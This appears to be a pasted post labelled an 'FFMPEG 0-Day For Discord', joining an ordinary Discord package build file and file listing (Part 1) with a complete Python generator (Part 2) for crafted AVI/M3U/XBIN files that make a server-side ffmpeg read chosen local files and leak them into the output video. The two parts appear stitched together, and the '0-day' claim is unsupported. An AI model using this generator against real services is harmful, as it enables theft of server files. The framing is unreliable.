Clumsy
1
######################################################################################################
Part 1 of exploit
######################################################################################################
# Description: FFMPEG 0-Day For Discord
# URL: https://canary.discordapp.com/
# Maintainer: Discord
# Depends on: alsa-lib avahi cups graphite2 gtk3 nss util-linux xorg-libxcomposite xorg-libxcursor xorg-libxinerama xorg-libxscrnsaver
name=discord
version=0.0.13
release=1
source=(https://dl.discordapp.net/apps/linux/$version/$name-$version.tar.gz)
build() {
install -d $PKG/opt/$name
cp -a Discord/. $PKG/opt/$name
chmod 755 $PKG/opt/$name/Discord
install -d $PKG/usr/share/applications
install $PKG/opt/$name/$name.desktop $PKG/usr/share/applications
sed -i s%/usr/share%/opt% $PKG/usr/share/applications/$name.desktop
mkdir -p $PKG/usr/bin
ln -s /opt/$name/Discord $PKG/usr/bin/$name
install -d $PKG/usr/share/pixmaps
ln -s /opt/$name/discord.png $PKG/usr/share/pixmaps/$name.png
install -d $PKG/usr/lib
ln -s /opt/discord/libffmpeg.so $PKG/usr/lib/libffmpeg.so
}
drwxr-xr-x root/root opt/
drwxr-xr-x root/root opt/discord/
-rwxr-xr-x root/root opt/discord/Discord
-rwsr-xr-x root/root opt/discord/chrome-sandbox
-rw-r--r-- root/root opt/discord/chrome_100_percent.pak
-rw-r--r-- root/root opt/discord/chrome_200_percent.pak
-rw-r--r-- root/root opt/discord/discord.desktop
-rw-r--r-- root/root opt/discord/discord.png
-rw-r--r-- root/root opt/discord/icudtl.dat
-rw-r--r-- root/root opt/discord/libEGL.so
-rw-r--r-- root/root opt/discord/libGLESv2.so
-rw-r--r-- root/root opt/discord/libffmpeg.so
-rw-r--r-- root/root opt/discord/libvk_swiftshader.so
-rw-r--r-- root/root opt/discord/libvulkan.so
drwxr-xr-x root/root opt/discord/locales/
-rw-r--r-- root/root opt/discord/locales/am.pak
-rw-r--r-- root/root opt/discord/locales/ar.pak
-rw-r--r-- root/root opt/discord/locales/bg.pak
-rw-r--r-- root/root opt/discord/locales/bn.pak
-rw-r--r-- root/root opt/discord/locales/ca.pak
-rw-r--r-- root/root opt/discord/locales/cs.pak
-rw-r--r-- root/root opt/discord/locales/da.pak
-rw-r--r-- root/root opt/discord/locales/de.pak
-rw-r--r-- root/root opt/discord/locales/el.pak
-rw-r--r-- root/root opt/discord/locales/en-GB.pak
-rw-r--r-- root/root opt/discord/locales/en-US.pak
-rw-r--r-- root/root opt/discord/locales/es-419.pak
-rw-r--r-- root/root opt/discord/locales/es.pak
-rw-r--r-- root/root opt/discord/locales/et.pak
-rw-r--r-- root/root opt/discord/locales/fa.pak
-rw-r--r-- root/root opt/discord/locales/fi.pak
-rw-r--r-- root/root opt/discord/locales/fil.pak
-rw-r--r-- root/root opt/discord/locales/fr.pak
-rw-r--r-- root/root opt/discord/locales/gu.pak
-rw-r--r-- root/root opt/discord/locales/he.pak
-rw-r--r-- root/root opt/discord/locales/hi.pak
-rw-r--r-- root/root opt/discord/locales/hr.pak
-rw-r--r-- root/root opt/discord/locales/hu.pak
-rw-r--r-- root/root opt/discord/locales/id.pak
-rw-r--r-- root/root opt/discord/locales/it.pak
-rw-r--r-- root/root opt/discord/locales/ja.pak
-rw-r--r-- root/root opt/discord/locales/kn.pak
-rw-r--r-- root/root opt/discord/locales/ko.pak
-rw-r--r-- root/root opt/discord/locales/lt.pak
-rw-r--r-- root/root opt/discord/locales/lv.pak
-rw-r--r-- root/root opt/discord/locales/ml.pak
-rw-r--r-- root/root opt/discord/locales/mr.pak
-rw-r--r-- root/root opt/discord/locales/ms.pak
-rw-r--r-- root/root opt/discord/locales/nb.pak
-rw-r--r-- root/root opt/discord/locales/nl.pak
-rw-r--r-- root/root opt/discord/locales/pl.pak
-rw-r--r-- root/root opt/discord/locales/pt-BR.pak
-rw-r--r-- root/root opt/discord/locales/pt-PT.pak
-rw-r--r-- root/root opt/discord/locales/ro.pak
-rw-r--r-- root/root opt/discord/locales/ru.pak
-rw-r--r-- root/root opt/discord/locales/sk.pak
-rw-r--r-- root/root opt/discord/locales/sl.pak
-rw-r--r-- root/root opt/discord/locales/sr.pak
-rw-r--r-- root/root opt/discord/locales/sv.pak
-rw-r--r-- root/root opt/discord/locales/sw.pak
-rw-r--r-- root/root opt/discord/locales/ta.pak
-rw-r--r-- root/root opt/discord/locales/te.pak
-rw-r--r-- root/root opt/discord/locales/th.pak
-rw-r--r-- root/root opt/discord/locales/tr.pak
-rw-r--r-- root/root opt/discord/locales/uk.pak
-rw-r--r-- root/root opt/discord/locales/vi.pak
-rw-r--r-- root/root opt/discord/locales/zh-CN.pak
-rw-r--r-- root/root opt/discord/locales/zh-TW.pak
-rwxr-xr-x root/root opt/discord/postinst.sh
-rw-r--r-- root/root opt/discord/resources.pak
drwxr-xr-x root/root opt/discord/resources/
-rw-r--r-- root/root opt/discord/resources/app.asar
drwxr-xr-x root/root opt/discord/resources/bootstrap/
-rw-r--r-- root/root opt/discord/resources/bootstrap/manifest.json
-rw-r--r-- root/root opt/discord/resources/build_info.json
-rw-r--r-- root/root opt/discord/snapshot_blob.bin
drwxr-xr-x root/root opt/discord/swiftshader/
-rw-r--r-- root/root opt/discord/swiftshader/libEGL.so
-rw-r--r-- root/root opt/discord/swiftshader/libGLESv2.so
-rw-r--r-- root/root opt/discord/v8_context_snapshot.bin
drwxr-xr-x root/root usr/
drwxr-xr-x root/root usr/bin/
lrwxrwxrwx root/root usr/bin/discord -> /opt/discord/Discord
drwxr-xr-x root/root usr/lib/
lrwxrwxrwx root/root usr/lib/libffmpeg.so -> /opt/discord/libffmpeg.so
drwxr-xr-x root/root usr/share/
drwxr-xr-x root/root usr/share/applications/
-rwxr-xr-x root/root usr/share/applications/discord.desktop
drwxr-xr-x root/root usr/share/pixmaps/
lrwxrwxrwx root/root usr/share/pixmaps/discord.png -> /opt/discord/discord.png
untrusted comment: verify with /etc/ports/contrib.pub
RWSagIOpLGJF3xxAKRQ1D4fDieL5OPcqYilHFimFGjvf3+opZGIGscjMox+t1a5HMTesu0VJH0Bs9O3L8NCCFjukQHUJs9P0lQk=
SHA256 (Pkgfile) = c72efbfeeeb64a26c99f4949b2210132b3730fe73b7cc935e437579f37cae87d
SHA256 (.footprint) = 4625e53a7d3781c45d231fa1615d3e2b525f01b844636f1c32c6e88283e9d370
SHA256 (discord-0.0.13.tar.gz) = feeca83531607eec1a6231ad8eab88bbf1865c39cf5f82b884e3b5241733bf34
######################################################################################################
Part 2 of exploit
######################################################################################################
#!/usr/bin/env python3
import struct
import argparse
import random
import string
AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LISTt\x00\x00\x00strlstrh8\x00\x00\x00txts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x86\x03\x00\x00\x10'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\xa0\x00strf(\x00\x00\x00(\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x01\x00\x18\x00XVID\x00H\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LIST movi"
ECHO_TEMPLATE = """### echoing {needed!r}
#EXT-X-KEY: METHOD=AES-128, URI=/dev/zero, IV=0x{iv}
#EXTINF:1,
#EXT-X-BYTERANGE: 16
/dev/zero
#EXT-X-KEY: METHOD=NONE
"""
# AES.new('\x00'*16).decrypt('\x00'*16)
GAMMA = b'\x14\x0f\x0f\x10\x11\xb5"=yXw\x17\xff\xd9\xec:'
FULL_PLAYLIST = """#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
{content}
#### random string to prevent caching: {rand}
#EXT-X-ENDLIST"""
EXTERNAL_REFERENCE_PLAYLIST = """
#### External reference: reading {size} bytes from {filename} (offset {offset})
#EXTINF:1,
#EXT-X-BYTERANGE: {size}@{offset}
{filename}
"""
XBIN_HEADER = b'XBIN\x1A\x20\x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00'
def echo_block(block):
assert len(block) == 16
iv = ''.join(map('{:02x}'.format, [x ^ y for (x, y) in zip(block, GAMMA)]))
return ECHO_TEMPLATE.format(needed=block, iv=iv)
def gen_xbin_sync():
seq = []
for i in range(60):
if i % 2:
seq.append(0)
else:
seq.append(128 + 64 - i - 1)
for i in range(4, 0, -1):
seq.append(128 + i - 1)
seq.append(0)
seq.append(0)
for i in range(12, 0, -1):
seq.append(128 + i - 1)
seq.append(0)
seq.append(0)
return seq
def test_xbin_sync(seq):
for start_ind in range(64):
path = [start_ind]
cur_ind = start_ind
while cur_ind < len(seq):
if seq[cur_ind] == 0:
cur_ind += 3
else:
assert seq[cur_ind] & (64 + 128) == 128
cur_ind += (seq[cur_ind] & 63) + 3
path.append(cur_ind)
assert cur_ind == len(seq), "problem for path {}".format(path)
def echo_seq(s):
assert len(s) % 16 == 0
res = []
for i in range(0, len(s), 16):
res.append(echo_block(s[i:i + 16]))
return ''.join(res)
test_xbin_sync(gen_xbin_sync())
SYNC = echo_seq(gen_xbin_sync())
def make_playlist_avi(playlist, fake_packets=1000, fake_packet_len=3):
content = b'GAB2\x00\x02\x00' + b'\x00' * 10 + playlist.encode('ascii')
packet = b'00tx' + struct.pack('<I', len(content)) + content
dcpkt = b'00dc' + struct.pack('<I',
fake_packet_len) + b'\x00' * fake_packet_len
return AVI_HEADER + packet + dcpkt * fake_packets
def gen_xbin_packet_header(size):
return bytes([0] * 9 + [1] + [0] * 4 + [128 + size - 1, 10])
def gen_xbin_packet_playlist(filename, offset, packet_size):
result = []
while packet_size > 0:
packet_size -= 16
assert packet_size > 0
part_size = min(packet_size, 64)
packet_size -= part_size
result.append(echo_block(gen_xbin_packet_header(part_size)))
result.append(
EXTERNAL_REFERENCE_PLAYLIST.format(
size=part_size,
offset=offset,
filename=filename))
offset += part_size
return ''.join(result), offset
def gen_xbin_playlist(filename_to_read):
pls = [echo_block(XBIN_HEADER)]
next_delta = 5
for max_offs, filename in (
(5000, filename_to_read), (500, "file:///dev/zero")):
offset = 0
while offset < max_offs:
for _ in range(10):
pls_part, new_offset = gen_xbin_packet_playlist(
filename, offset, 0xf0 - next_delta)
pls.append(pls_part)
next_delta = 0
offset = new_offset
pls.append(SYNC)
return FULL_PLAYLIST.format(content=''.join(pls), rand=''.join(
random.choice(string.ascii_lowercase) for i in range(30)))
if __name__ == "__main__":
parser = argparse.ArgumentParser('AVI+M3U+XBIN ffmpeg exploit generator')
parser.add_argument(
'filename',
help='filename to be read from the server (prefix it with "file://")')
parser.add_argument('output_avi', help='where to save the avi')
args = parser.parse_args()
assert '://' in args.filename, "ffmpeg needs explicit proto (forgot file://?)"
content = gen_xbin_playlist(args.filename)
avi = make_playlist_avi(content)
output_name = args.output_avi
with open(output_name, 'wb') as f:
f.write(avi)
######################################################################################################
End of exploit wrote by Taylor Christian Newsome
######################################################################################################